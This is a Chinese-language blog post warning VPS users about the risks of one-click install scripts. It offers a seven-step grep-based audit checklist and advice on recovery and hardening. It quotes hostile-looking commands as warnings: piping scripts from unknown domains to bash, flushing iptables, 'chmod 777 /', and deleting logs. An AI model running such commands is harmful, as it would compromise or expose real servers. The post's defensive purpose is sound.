· 极客指南 · 8 min read
VPS一键脚本避坑指南:别让"懒人神器"变成"肉鸡孵化器"
买完VPS第一件事就是curl一个脚本?你可能正在把root密码交给陌生人。这7个自查清单,能救你的服务器一命。
每个 VPS 新手的成长轨迹都惊人的相似:
- 兴冲冲地买了第一台 VPS
- 拿到 root 密码后手舞足蹈
- 去 GitHub 搜 “XXX 一键安装脚本”
curl | bash然后输入 root 密码- 过两天发现服务器被挖矿了
恭喜你,你已经完成了从萌新到受害者的全流程。
今天我们不讲怎么部署服务,来讲讲怎么在享受便利的同时,不被一键脚本背后的人割韭菜。
一键脚本的”斩杀线”
一键脚本本身不是恶魔。它们确实能帮你省下数小时的学习成本。
但问题是:你根本不知道 curl 下来的那个脚本里写了什么。
它可能在帮你装 Nginx 的同时:
- 悄悄添加了一个定时任务,每天凌晨把你的数据发到境外服务器
- 修改了 SSH 配置,给攻击者留了后门
- 安装了隐藏的挖矿程序,把你的 CPU 榨到 100%
- 重写了 iptables,把防火墙规则搞成筛子
高危脚本黑名单
以下这些脚本,我劝你三思而后行:
1. 各种”免费面板”脚本
curl -fsSL https://unknown-domain.com/install.sh | sudo bash风险点:
- 脚本来源域名往往是一年前注册的,没有任何背书
- 面板作者随时可以跑路,或者在你的服务器上埋雷
- 很多所谓”免费”面板,实际是靠收集用户数据盈利
2. 科学上网”全能脚本”
wget -N --no-check-certificate https://raw.githubusercontent.com/xxx/xxx.sh风险点:
- 这类脚本最喜欢
chmod 777和关闭防火墙 - 很多会要求你关闭 SELinux/AppArmor
- 为了”方便”,它们往往开放所有端口
3. “优化”系统脚本
curl -sL yabs.sh | bash等等,yabs 是正经的测试脚本。但有些”优化脚本”可就不是了:
curl -fsSL https://unknown-script.sh | bash -s -- --optimize-all风险点:
- 修改内核参数前不做备份
- 禁用系统关键服务(如 systemd-logind)
- 清理”垃圾文件”时误删系统文件
安全自查清单
在使用任何一键脚本前,完成以下 7 步检查:
检查 1:脚本来源
# 不要直接执行!先下载下来看
wget https://example.com/install.sh
cat install.sh | head -n 50✅ 安全的脚本应该:
- 来自官方仓库或知名社区
- 有 GitHub 星标和活跃维护
- 作者有真实身份和社区口碑
❌ 危险信号:
- 脚本放在不明域名或临时网盘上
- GitHub 仓库只有 2 个星标,最近更新是一年前
- 作者没有社交账号,像个幽灵
检查 2:是否要求 root 密码
绝对不要在脚本执行过程中输入 root 密码。
正确做法:
# 先把脚本下载下来
wget https://github.com/author/project/releases/download/v1.0/install.sh
# 看代码,确认安全后再执行
sudo bash install.sh如果脚本问你要 root 密码,而不是用 sudo,立刻终止。
检查 3:网络请求
# 检查脚本里是否有可疑的 curl/wget
grep -n "curl\|wget" install.sh❌ 危险信号:
- 向不明 IP 发送 POST 请求
- 下载二进制文件(你根本不知道里面是什么)
- 修改
/etc/resolv.conf指向陌生 DNS
检查 4:定时任务
# 检查脚本是否添加了 crontab
grep -n "crontab\|cron" install.sh很多挖矿木马就是通过 crontab 实现”复活”的。
检查 5:SSH 配置
grep -n "sshd\|authorized_keys\|PermitRootLogin" install.sh❌ 危险信号:
- 修改
PermitRootLogin yes - 往
~/.ssh/authorized_keys里追加公钥 - 修改 SSH 端口到奇怪的数值(这是为了隐藏,不是安全)
检查 6:防火墙规则
grep -n "iptables\|ufw\|firewalld" install.sh❌ 危险信号:
iptables -F(清空所有规则)systemctl stop firewalld(关闭防火墙)- 开放 0.0.0.0/0 到所有端口
检查 7:系统修改
grep -n "chmod 777\|rm -rf\|sed.*etc" install.sh❌ 危险信号:
chmod 777 /(等于把家钥匙扔大街上)rm -rf /var/log(清理日志是为了隐藏行踪)- 修改系统二进制文件
如果已经中招了怎么办?
别犹豫,立刻重建系统。
不要试图”清理”一个被入侵的服务器。你永远不知道攻击者还埋了什么后门。
正确流程:
- 导出数据(数据库、配置文件)
- 在本地检查数据是否被篡改
- 重装系统(不是重置,是重装)
- 修改所有密码(包括面板、数据库、SSH key)
- 重新部署,但这次手动或者使用官方文档
ZSX 的安全原则
我目前在用的方案:
原则一:能用官方就不用第三方
- 装 Docker?用
get.docker.com,别用某大佬的”极速版” - 装 Nginx?用包管理器
apt install nginx,别用一键LNMP - 装面板?用 1Panel 官方脚本,但执行前依然要检查
原则二:最小权限原则
# 创建一个普通用户
useradd -m -s /bin/bash deploy
usermod -aG sudo deploy
# 禁用 root 直接登录
sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
systemctl restart sshd从此所有操作都用 deploy 用户,需要 root 时才 sudo。
原则三:隔离运行
# 用 Docker 跑不确定的服务
docker run -d --name suspicious-app \
--network none \
--read-only \
--security-opt no-new-privileges:true \
suspicious/image把不信任的应用关在 Docker 里,不给网络、不给写权限、不给提权。
原则四:定期审计
# 查看谁在登录
lastb | head
# 查看异常进程
ps aux --sort=-%cpu | head
# 查看异常网络连接
ss -tulnp
# 查看 crontab
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do echo "--- $user ---"; crontab -u $user -l 2>/dev/null; done每个月运行一次这套检查,比任何杀毒软件都管用。
一句话总结
一键脚本的”斩杀线”不在于它方不方便,而在于它值不值得你信任。
在输入 curl | bash 之前,花 5 分钟看看脚本内容。 5 分钟的阅读,可能救你的服务器一条命。
而那些连 5 分钟都不愿意花的”懒人”—— 最终都会在清理被黑服务器时,付出 5 个小时的代价。